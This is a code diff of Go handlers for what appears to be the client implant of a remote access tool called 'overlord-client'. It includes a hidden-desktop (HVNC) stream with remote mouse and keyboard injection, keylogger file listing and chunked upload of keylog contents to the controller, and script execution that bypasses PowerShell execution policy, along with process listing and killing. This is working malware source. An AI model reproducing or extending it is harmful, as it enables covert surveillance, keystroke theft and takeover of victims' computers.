return execCommand("cmd.exe", "/c", path)
case ".ps1":
return execCommand("powershell.exe", "-ExecutionPolicy", "Bypass", "-File", path)
case ".vbs":
return execCommand("wscript.exe", path)
case ".py":
return execCommand("python", path)
case ".js":
return execCommand("node", path)
default:
return fmt.Errorf("unsupported file type: %s", ext)
}
}
func execCommand(name string, args ...string) error {
cmd := exec.Command(name, args...)
return cmd.Start()
}
@@ -0,0 +1,44 @@
package handlers
import (
"context"
"log"
"strings"
"overlord-client/cmd/agent/runtime"
)
func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
log.Printf("hello ack received")
if env == nil || envelope == nil {
return nil
}
var keywords []string
minInterval := 0
if raw, ok := envelope["notification"].(map[string]interface{}); ok {
if rawKeywords, ok := raw["keywords"].([]interface{}); ok {
for _, v := range rawKeywords {
if s, ok := v.(string); ok {
s = strings.TrimSpace(s)
if s != "" {
keywords = append(keywords, s)
}
}
}
}
if v, ok := raw["minIntervalMs"].(float64); ok {
minInterval = int(v)
}
if v, ok := raw["minIntervalMs"].(int); ok {
minInterval = v
}
}
if len(keywords) > 0 || minInterval > 0 {
env.SetNotificationConfig(keywords, minInterval)
log.Printf("hello ack: loaded %d notification keywords", len(keywords))
}
return nil
}
@@ -0,0 +1,90 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"time"
)
var (
hvncPersistedDisplayValue int
hvncPersistedDisplayMu sync.Mutex
)
func persistHVNCDisplaySelection(display int) {
hvncPersistedDisplayMu.Lock()
hvncPersistedDisplayValue = display
hvncPersistedDisplayMu.Unlock()
}
func GetPersistedHVNCDisplay() int {
hvncPersistedDisplayMu.Lock()
defer hvncPersistedDisplayMu.Unlock()
return hvncPersistedDisplayValue
}
func HVNCStart(ctx context.Context, env *rt.Env) error {
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
log.Printf("hvnc: starting stream (max fps %d)", fps)
if err := capture.InitializeHVNCDesktop(); err != nil {
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
return err
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
case <-ticker.C:
if err := capture.NowHVNC(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
}
log.Printf("hvnc: capture error: %v", err)
}
}
}
}
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.HVNCSelectedDisplay
maxDisplays := capture.HVNCMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.HVNCSelectedDisplay = display
persistHVNCDisplaySelection(display)
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCMouseControl = enabled
log.Printf("hvnc: mouse control %v", enabled)
return nil
}
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCKeyboardControl = enabled
log.Printf("hvnc: keyboard control %v", enabled)
return nil
}
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCCursorCapture = enabled
capture.SetHVNCCursorCapture(enabled)
log.Printf("hvnc: cursor capture %v", enabled)
return nil
}
@@ -0,0 +1,10 @@
//go:build !windows
package handlers
func setCursorPosHVNC(x, y int32) {}
func sendMouseDownHVNC(button int) {}
func sendMouseUpHVNC(button int) {}
func sendKeyDownHVNC(vk uint16) {}
func sendKeyUpHVNC(vk uint16) {}
func keyCodeToVKHVNC(code string) uint16 { return 0 }
@@ -0,0 +1,7 @@
//go:build windows
package handlers
func keyCodeToVKHVNC(code string) uint16 {
return keyCodeToVK(code)
}
@@ -0,0 +1,11 @@
//go:build !windows
package handlers
func setCursorPos(x, y int32) {}
func sendMouseDown(button int) {}
func sendMouseUp(button int) {}
func sendKeyDown(vk uint16) {}
func sendKeyUp(vk uint16) {}
func sendTextInput(text string) {}
func keyCodeToVK(code string) uint16 { return 0 }
@@ -0,0 +1,282 @@
//go:build windows
package handlers
import (
"syscall"
"unsafe"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
procSetCursorPos = user32.NewProc("SetCursorPos")
procSendInput = user32.NewProc("SendInput")
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
)
const (
MOUSEEVENTF_MOVE = 0x0001
MOUSEEVENTF_LEFTDOWN = 0x0002
MOUSEEVENTF_LEFTUP = 0x0004
MOUSEEVENTF_RIGHTDOWN = 0x0008
MOUSEEVENTF_RIGHTUP = 0x0010
MOUSEEVENTF_MIDDLEDOWN = 0x0020
MOUSEEVENTF_MIDDLEUP = 0x0040
MOUSEEVENTF_ABSOLUTE = 0x8000
MOUSEEVENTF_VIRTUALDESK = 0x4000
INPUT_MOUSE = 0
INPUT_KEYBOARD = 1
KEYEVENTF_EXTENDEDKEY = 0x0001
KEYEVENTF_KEYUP = 0x0002
KEYEVENTF_UNICODE = 0x0004
KEYEVENTF_SCANCODE = 0x0008
SM_XVIRTUALSCREEN = 76
SM_YVIRTUALSCREEN = 77
SM_CXVIRTUALSCREEN = 78
SM_CYVIRTUALSCREEN = 79
)
type mouseInput struct {
dx int32
dy int32
mouseData uint32
dwFlags uint32
time uint32
dwExtraInfo uintptr
}
type keybdInput struct {
wVk uint16
wScan uint16
dwFlags uint32
time uint32
dwExtraInfo uintptr
}
type hardwareInput struct {
uMsg uint32
wParamL uint16
wParamH uint16
}
type input struct {
inputType uint32
_ uint32
union [32]byte
}
func setCursorPos(x, y int32) {
if !sendMouseMoveAbsolute(x, y) {
_, _, _ = procSetCursorPos.Call(uintptr(x), uintptr(y))
}
}
func sendMouseDown(button int) {
switch button {
case 0:
sendMouseInput(MOUSEEVENTF_LEFTDOWN, 0)
case 2:
sendMouseInput(MOUSEEVENTF_RIGHTDOWN, 0)
case 1:
sendMouseInput(MOUSEEVENTF_MIDDLEDOWN, 0)
}
}
func sendMouseUp(button int) {
switch button {
case 0:
sendMouseInput(MOUSEEVENTF_LEFTUP, 0)
case 2:
sendMouseInput(MOUSEEVENTF_RIGHTUP, 0)
case 1:
sendMouseInput(MOUSEEVENTF_MIDDLEUP, 0)
}
}
func sendMouseInput(flags uint32, mouseData uint32) {
var inp input
inp.inputType = INPUT_MOUSE
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
mi.dx = 0
mi.dy = 0
mi.mouseData = mouseData
mi.dwFlags = flags
mi.time = 0
mi.dwExtraInfo = 0
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
}
func sendMouseMoveAbsolute(x, y int32) bool {
left := getSystemMetrics(SM_XVIRTUALSCREEN)
top := getSystemMetrics(SM_YVIRTUALSCREEN)
width := getSystemMetrics(SM_CXVIRTUALSCREEN)
height := getSystemMetrics(SM_CYVIRTUALSCREEN)
if width <= 1 || height <= 1 {
return false
}
const maxCoord = 65535
relX := int64(x) - int64(left)
relY := int64(y) - int64(top)
if relX < 0 {
relX = 0
}
if relY < 0 {
relY = 0
}
if relX > int64(width-1) {
relX = int64(width - 1)
}
if relY > int64(height-1) {
relY = int64(height - 1)
}
normX := int32(relX * maxCoord / int64(width-1))
normY := int32(relY * maxCoord / int64(height-1))
var inp input
inp.inputType = INPUT_MOUSE
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
mi.dx = normX
mi.dy = normY
mi.mouseData = 0
mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
mi.time = 0
mi.dwExtraInfo = 0
r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
return r != 0
}
func getSystemMetrics(index int32) int32 {
r, _, _ := procGetSystemMetrics.Call(uintptr(index))
return int32(r)
}
func sendKeyDown(vk uint16) {
sendKeyInput(vk, false)
}
func sendKeyUp(vk uint16) {
sendKeyInput(vk, true)
}
func sendKeyInput(vk uint16, keyUp bool) {
var inp input
inp.inputType = INPUT_KEYBOARD
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
ki.wVk = vk
ki.wScan = uint16(mapVirtualKey(vk))
flags := uint32(0)
if keyUp {
flags |= KEYEVENTF_KEYUP
}
if isExtendedKey(vk) {
flags |= KEYEVENTF_EXTENDEDKEY
}
ki.dwFlags = flags
ki.time = 0
ki.dwExtraInfo = 0
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
}
func isExtendedKey(vk uint16) bool {
switch vk {
case 0xA3, // VK_RCONTROL
0xA5, // VK_RMENU
0x21, // VK_PRIOR
0x22, // VK_NEXT
0x23, // VK_END
0x24, // VK_HOME
0x25, // VK_LEFT
0x26, // VK_UP
0x27, // VK_RIGHT
0x28, // VK_DOWN
0x2D, // VK_INSERT
0x2E, // VK_DELETE
0x6F, // VK_DIVIDE
0x90: // VK_NUMLOCK
return true
default:
return false
}
}
func mapVirtualKey(vk uint16) uint32 {
ret, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0)
return uint32(ret)
}
func sendTextInput(text string) {
for _, r := range text {
switch r {
case '\r', '\n':
sendKeyDown(0x0D)
sendKeyUp(0x0D)
case '\t':
sendKeyDown(0x09)
sendKeyUp(0x09)
case '\b':
sendKeyDown(0x08)
sendKeyUp(0x08)
default:
sendUnicodeRune(r)
}
}
}
func sendUnicodeRune(r rune) {
var inp input
inp.inputType = INPUT_KEYBOARD
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
ki.wVk = 0
ki.wScan = uint16(r)
ki.dwFlags = KEYEVENTF_UNICODE
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
var inpUp input
inpUp.inputType = INPUT_KEYBOARD
kiUp := (*keybdInput)(unsafe.Pointer(&inpUp.union[0]))
kiUp.wVk = 0
kiUp.wScan = uint16(r)
kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
}
func keyCodeToVK(code string) uint16 {
vkMap := map[string]uint16{
"KeyA": 0x41, "KeyB": 0x42, "KeyC": 0x43, "KeyD": 0x44, "KeyE": 0x45,
"KeyF": 0x46, "KeyG": 0x47, "KeyH": 0x48, "KeyI": 0x49, "KeyJ": 0x4A,
"KeyK": 0x4B, "KeyL": 0x4C, "KeyM": 0x4D, "KeyN": 0x4E, "KeyO": 0x4F,
"KeyP": 0x50, "KeyQ": 0x51, "KeyR": 0x52, "KeyS": 0x53, "KeyT": 0x54,
"KeyU": 0x55, "KeyV": 0x56, "KeyW": 0x57, "KeyX": 0x58, "KeyY": 0x59, "KeyZ": 0x5A,
"Digit0": 0x30, "Digit1": 0x31, "Digit2": 0x32, "Digit3": 0x33, "Digit4": 0x34,
"Digit5": 0x35, "Digit6": 0x36, "Digit7": 0x37, "Digit8": 0x38, "Digit9": 0x39,
"Enter": 0x0D, "Space": 0x20, "Backspace": 0x08, "Tab": 0x09, "Escape": 0x1B,
"ShiftLeft": 0xA0, "ShiftRight": 0xA1, "ControlLeft": 0xA2, "ControlRight": 0xA3,
"AltLeft": 0xA4, "AltRight": 0xA5, "MetaLeft": 0x5B, "MetaRight": 0x5C,
"ArrowLeft": 0x25, "ArrowUp": 0x26, "ArrowRight": 0x27, "ArrowDown": 0x28,
"Delete": 0x2E, "Home": 0x24, "End": 0x23, "PageUp": 0x21, "PageDown": 0x22,
"F1": 0x70, "F2": 0x71, "F3": 0x72, "F4": 0x73, "F5": 0x74, "F6": 0x75,
"F7": 0x76, "F8": 0x77, "F9": 0x78, "F10": 0x79, "F11": 0x7A, "F12": 0x7B,
"Slash": 0xBF,
"Backquote": 0xC0,
"Minus": 0xBD,
"Equal": 0xBB,
"BracketLeft": 0xDB,
"BracketRight": 0xDD,
"Backslash": 0xDC,
"IntlBackslash": 0xDC,
"Semicolon": 0xBA,
"Quote": 0xDE,
"Comma": 0xBC,
"Period": 0xBE,
}
if vk, ok := vkMap[code]; ok {
return vk
}
return 0
}
@@ -0,0 +1,193 @@
package handlers
import (
"context"
"encoding/base64"
"log"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
const MaxChunkSize = 256 * 1024
func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error {
if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result",
"commandId": cmdID,
"ok": false,
"message": "Keylogger not initialized",
})
}
env.Keylogger.FlushNow()
files, err := env.Keylogger.ListFiles()
if err != nil {
log.Printf("[keylogger] list error: %v", err)
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result",
"commandId": cmdID,
"ok": false,
"message": err.Error(),
})
}
fileInfos := make([]map[string]interface{}, len(files))
for i, f := range files {
fileInfos[i] = map[string]interface{}{
"name": f.Name,
"size": f.Size,
"date": f.Date.Format("2006-01-02T15:04:05Z07:00"),
}
}
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_file_list",
"files": fileInfos,
})
}
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result",
"commandId": cmdID,
"ok": false,
"message": "Keylogger not initialized",
})
}
if filename == "" {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result",
"commandId": cmdID,
"ok": false,
"message": "Filename required",
})
}
env.Keylogger.FlushNow()
data, err := env.Keylogger.ReadFile(filename)
if err != nil {
log.Printf("[keylogger] read error: %v", err)
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result",
"commandId": cmdID,
"ok": false,
"message": err.Error(),
})
}
if len(data) <= MaxChunkSize {
content := string(data)
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_file_content",
"filename": filename,
"content": content,
})
}
totalChunks := (len(data) + MaxChunkSize - 1) / MaxChunkSize
for i := 0; i < totalChunks; i++ {
start := i * MaxChunkSize
end := start + MaxChunkSize
if end > len(data) {
end = len(data)
}
chunk := data[start:end]
isLast := i == totalChunks-1
encoded := base64.StdEncoding.EncodeToString(chunk)
if err := wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_file_chunk",
"filename": filename,
"chunk": i,
"total": totalChunks,
"content": encoded,
"isLast": isLast,
"isEncoded": true,
}); err != nil {
log.Printf("[keylogger] send chunk error: %v", err)
return err
}
if isLast {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_file_content",
"filename": filename,
"content": string(data),
})
}
}
return nil
}
func HandleKeylogClearAll(ctx context.Context, env *runtime.Env, cmdID string) error {
if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_clear_result",
"commandId": cmdID,
"ok": false,
"error": "Keylogger not initialized",
})
}
err := env.Keylogger.ClearAll()
if err != nil {
log.Printf("[keylogger] clear error: %v", err)
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_clear_result",
"commandId": cmdID,
"ok": false,
"error": err.Error(),
})
}
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_clear_result",
"ok": true,
})
}
func HandleKeylogDelete(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_delete_result",
"commandId": cmdID,
"ok": false,
"error": "Keylogger not initialized",
})
}
if filename == "" {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_delete_result",
"commandId": cmdID,
"ok": false,
"error": "Filename required",
})
}
if err := env.Keylogger.DeleteFile(filename); err != nil {
log.Printf("[keylogger] delete error: %v", err)
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_delete_result",
"commandId": cmdID,
"ok": false,
"error": err.Error(),
"filename": filename,
})
}
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_delete_result",
"ok": true,
"filename": filename,
})
}
@@ -0,0 +1,39 @@
package handlers
import (
"context"
"log"
"strings"
"overlord-client/cmd/agent/runtime"
)
func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
if env == nil || envelope == nil {
return nil
}
var keywords []string
minInterval := 0
if raw, ok := envelope["keywords"].([]interface{}); ok {
for _, v := range raw {
if s, ok := v.(string); ok {
s = strings.TrimSpace(s)
if s != "" {
keywords = append(keywords, s)
}
}
}
}
if v, ok := envelope["minIntervalMs"].(float64); ok {
minInterval = int(v)
}
if v, ok := envelope["minIntervalMs"].(int); ok {
minInterval = v
}
env.SetNotificationConfig(keywords, minInterval)
log.Printf("notification_config: loaded %d keywords", len(keywords))
return nil
}
@@ -0,0 +1,56 @@
package handlers
import (
"context"
"fmt"
"log"
"os"
"path/filepath"
"runtime"
"runtime/debug"
"time"
)
const crashLogFileName = "crashlogC.log"
func goSafe(label string, cancel context.CancelFunc, fn func()) {
go func() {
defer recoverAndLog(label, cancel)
fn()
}()
}
func recoverAndLog(label string, cancel context.CancelFunc) {
if r := recover(); r != nil {
reason := fmt.Sprintf("%s panic: %v", label, r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("[panic] %s (see %s)", reason, path)
if cancel != nil {
cancel()
}
}
}
func writeCrashLog(reason string, stack []byte) string {
dir := os.TempDir()
_ = os.MkdirAll(dir, 0700)
path := filepath.Join(dir, crashLogFileName)
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
log.Printf("[panic] failed to open crash log %s: %v", path, err)
return path
}
defer file.Close()
timestamp := time.Now().UTC().Format(time.RFC3339)
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
if len(stack) > 0 {
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
}
return path
}
@@ -0,0 +1,25 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"time"
)
func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
ts := extractTimestamp(envelope["ts"])
if ts == 0 {
ts = time.Now().UnixMilli()
}
log.Printf("ping: received ts=%d, sending pong", ts)
pong := wire.Pong{Type: "pong", TS: ts}
if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
log.Printf("ping: failed to send pong: %v", err)
return err
}
log.Printf("ping: pong sent successfully")
return nil
}
@@ -0,0 +1,25 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/runtime"
)
func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
if env.Plugins == nil {
return nil
}
pluginID, _ := envelope["pluginId"].(string)
event, _ := envelope["event"].(string)
payload := envelope["payload"]
if pluginID == "" || event == "" {
log.Printf("plugin_event: missing pluginId or event")
return nil
}
if err := env.Plugins.Dispatch(ctx, pluginID, event, payload); err != nil {
log.Printf("plugin_event: dispatch failed for %s: %v", pluginID, err)
}
return nil
}
@@ -0,0 +1,13 @@
package handlers
import (
"context"
"time"
"overlord-client/cmd/agent/runtime"
)
func HandlePong(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
env.SetLastPong(time.Now().UnixMilli())
return nil
}
@@ -0,0 +1,52 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error {
log.Printf("process_list: listing all processes")
processes := []wire.ProcessInfo{}
var errMsg string
procs, err := listProcesses()
if err != nil {
errMsg = err.Error()
log.Printf("process_list error: %v", err)
} else {
processes = procs
}
result := wire.ProcessListResult{
Type: "process_list_result",
CommandID: cmdID,
Processes: processes,
Error: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
log.Printf("process_kill: %d", pid)
err := killProcess(pid)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
@@ -0,0 +1,260 @@
package handlers
import (
"context"
"testing"
"overlord-client/cmd/agent/config"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"github.com/vmihailenco/msgpack/v5"
)
func TestHandleProcessList(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-proc-1"
if err := HandleProcessList(ctx, env, cmdID); err != nil {
t.Fatalf("HandleProcessList failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.ProcessListResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if result.Type != "process_list_result" {
t.Errorf("Expected type 'process_list_result', got '%s'", result.Type)
}
if result.CommandID != cmdID {
t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID)
}
if len(result.Processes) == 0 {
t.Log("WARNING: No processes returned (may indicate platform issue)")
} else {
t.Logf("Found %d processes", len(result.Processes))
for i, proc := range result.Processes {
if proc.PID <= 0 {
t.Errorf("Process %d has invalid PID: %d", i, proc.PID)
}
if proc.Name == "" {
t.Errorf("Process %d has empty name", i)
}
if proc.Memory < 0 {
t.Errorf("Process %d has negative memory: %d", i, proc.Memory)
}
if proc.CPU < 0 {
t.Errorf("Process %d has negative CPU: %f", i, proc.CPU)
}
validTypes := map[string]bool{
"system": true,
"service": true,
"own": true,
"other": true,
"": true,
}
if !validTypes[proc.Type] {
t.Errorf("Process %d has invalid type: %s", i, proc.Type)
}
}
pidExists := make(map[int32]bool)
for _, proc := range result.Processes {
pidExists[proc.PID] = true
}
for _, proc := range result.Processes {
if proc.PPID != 0 && !pidExists[proc.PPID] {
t.Logf("INFO: Process %d (%s) has PPID %d which is not in the list (may have exited)",
proc.PID, proc.Name, proc.PPID)
}
}
}
}
func TestHandleProcessList_ProcessTypes(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-proc-2"
if err := HandleProcessList(ctx, env, cmdID); err != nil {
t.Fatalf("HandleProcessList failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.ProcessListResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
typeCounts := make(map[string]int)
for _, proc := range result.Processes {
typeCounts[proc.Type]++
}
t.Logf("Process type distribution:")
for typ, count := range typeCounts {
label := typ
if label == "" {
label = "uncategorized"
}
t.Logf(" %s: %d", label, count)
}
if typeCounts["system"] == 0 {
t.Log("WARNING: No system processes detected")
}
examples := make(map[string][]string)
for _, proc := range result.Processes {
if len(examples[proc.Type]) < 3 {
examples[proc.Type] = append(examples[proc.Type], proc.Name)
}
}
t.Log("Example processes by type:")
for typ, procs := range examples {
label := typ
if label == "" {
label = "uncategorized"
}
t.Logf(" %s: %v", label, procs)
}
}
func TestProcessInfoFields(t *testing.T) {
proc := wire.ProcessInfo{
PID: 1234,
PPID: 1,
Name: "test.exe",
CPU: 25.5,
Memory: 1048576,
Username: "testuser",
Type: "own",
}
data, err := msgpack.Marshal(proc)
if err != nil {
t.Fatalf("Failed to marshal ProcessInfo: %v", err)
}
var decoded wire.ProcessInfo
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal ProcessInfo: %v", err)
}
if decoded.PID != proc.PID {
t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID)
}
if decoded.PPID != proc.PPID {
t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID)
}
if decoded.Name != proc.Name {
t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name)
}
if decoded.CPU != proc.CPU {
t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU)
}
if decoded.Memory != proc.Memory {
t.Errorf("Memory mismatch: got %d, want %d", decoded.Memory, proc.Memory)
}
if decoded.Username != proc.Username {
t.Errorf("Username mismatch: got %s, want %s", decoded.Username, proc.Username)
}
if decoded.Type != proc.Type {
t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type)
}
}
func TestListProcesses_PlatformSpecific(t *testing.T) {
processes, err := listProcesses()
if err != nil {
t.Fatalf("listProcesses failed: %v", err)
}
if len(processes) == 0 {
t.Log("WARNING: No processes returned from listProcesses()")
return
}
t.Logf("Retrieved %d processes from system", len(processes))
for i, proc := range processes {
if i < 10 {
t.Logf("Process: PID=%d PPID=%d Name=%s CPU=%.2f%% Mem=%d User=%s Type=%s",
proc.PID, proc.PPID, proc.Name, proc.CPU, proc.Memory, proc.Username, proc.Type)
}
if proc.PID <= 0 {
t.Errorf("Process %d has invalid PID: %d", i, proc.PID)
}
}
}
func TestProcessTypeClassification(t *testing.T) {
processes, err := listProcesses()
if err != nil {
t.Fatalf("listProcesses failed: %v", err)
}
if len(processes) == 0 {
t.Skip("No processes available for testing")
}
var foundSystem, foundService, foundOwn bool
for _, proc := range processes {
switch proc.Type {
case "system":
foundSystem = true
t.Logf("System process example: PID=%d Name=%s User=%s",
proc.PID, proc.Name, proc.Username)
case "service":
foundService = true
t.Logf("Service process example: PID=%d Name=%s User=%s",
proc.PID, proc.Name, proc.Username)
case "own":
foundOwn = true
t.Logf("Own process example: PID=%d Name=%s User=%s",
proc.PID, proc.Name, proc.Username)
}
if foundSystem && foundService && foundOwn {
break
}
}
if !foundSystem {
t.Log("INFO: No system processes detected in classification")
}
if !foundService {
t.Log("INFO: No service processes detected in classification")
}
if !foundOwn {
t.Log("INFO: No own processes detected in classification")
}
}
@@ -0,0 +1,89 @@
//go:build !windows
// +build !windows
package handlers
import (
"bufio"
"bytes"
"os/exec"
"strconv"
"strings"
"syscall"
"overlord-client/cmd/agent/wire"
)
func listProcesses() ([]wire.ProcessInfo, error) {
cmd := exec.Command("ps", "aux")
output, err := cmd.Output()
if err != nil {
return nil, err
}
processes := make([]wire.ProcessInfo, 0)
scanner := bufio.NewScanner(bytes.NewReader(output))
scanner.Scan()
for scanner.Scan() {
line := scanner.Text()
fields := strings.Fields(line)
if len(fields) < 11 {
continue
}
pid, err := strconv.ParseInt(fields[1], 10, 32)
if err != nil {
continue
}
cpu, _ := strconv.ParseFloat(fields[2], 64)
mem, _ := strconv.ParseFloat(fields[3], 64)
memBytes := uint64(mem * 8 * 1024 * 1024 * 1024 / 100)
name := fields[10]
username := fields[0]
ppid := int32(0)
ppidCmd := exec.Command("ps", "-o", "ppid=", "-p", fields[1])
if ppidOutput, err := ppidCmd.Output(); err == nil {
ppidStr := strings.TrimSpace(string(ppidOutput))
if ppidVal, err := strconv.ParseInt(ppidStr, 10, 32); err == nil {
ppid = int32(ppidVal)
}
}
procType := "other"
if pid <= 2 || username == "root" {
procType = "system"
} else {
currentUserCmd := exec.Command("whoami")
if currentUserOutput, err := currentUserCmd.Output(); err == nil {
currentUser := strings.TrimSpace(string(currentUserOutput))
if username == currentUser {
procType = "own"
}
}
}
processes = append(processes, wire.ProcessInfo{
PID: int32(pid),
PPID: ppid,
Name: name,
CPU: cpu,
Memory: memBytes,
Username: username,
Type: procType,
})
}
return processes, scanner.Err()
}
func killProcess(pid int32) error {
return syscall.Kill(int(pid), syscall.SIGKILL)
}
@@ -0,0 +1,174 @@
//go:build windows
// +build windows
package handlers
import (
"fmt"
"strings"
"syscall"
"unsafe"
"overlord-client/cmd/agent/wire"
"golang.org/x/sys/windows"
)
var (
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
modPsapi = windows.NewLazySystemDLL("psapi.dll")
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
procOpenProcess = modKernel32.NewProc("OpenProcess")
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
)
type PROCESS_MEMORY_COUNTERS struct {
CB uint32
PageFaultCount uint32
PeakWorkingSetSize uintptr
WorkingSetSize uintptr
QuotaPeakPagedPoolUsage uintptr
QuotaPagedPoolUsage uintptr
QuotaPeakNonPagedPoolUsage uintptr
QuotaNonPagedPoolUsage uintptr
PagefileUsage uintptr
PeakPagefileUsage uintptr
}
func listProcesses() ([]wire.ProcessInfo, error) {
var pids [4096]uint32
var bytesReturned uint32
ret, _, _ := procEnumProcesses.Call(
uintptr(unsafe.Pointer(&pids[0])),
uintptr(len(pids)*4),
uintptr(unsafe.Pointer(&bytesReturned)),
)
if ret == 0 {
return nil, fmt.Errorf("EnumProcesses failed")
}
numProcesses := int(bytesReturned / 4)
processes := make([]wire.ProcessInfo, 0, numProcesses)
for i := 0; i < numProcesses; i++ {
pid := int32(pids[i])
if pid == 0 {
continue
}
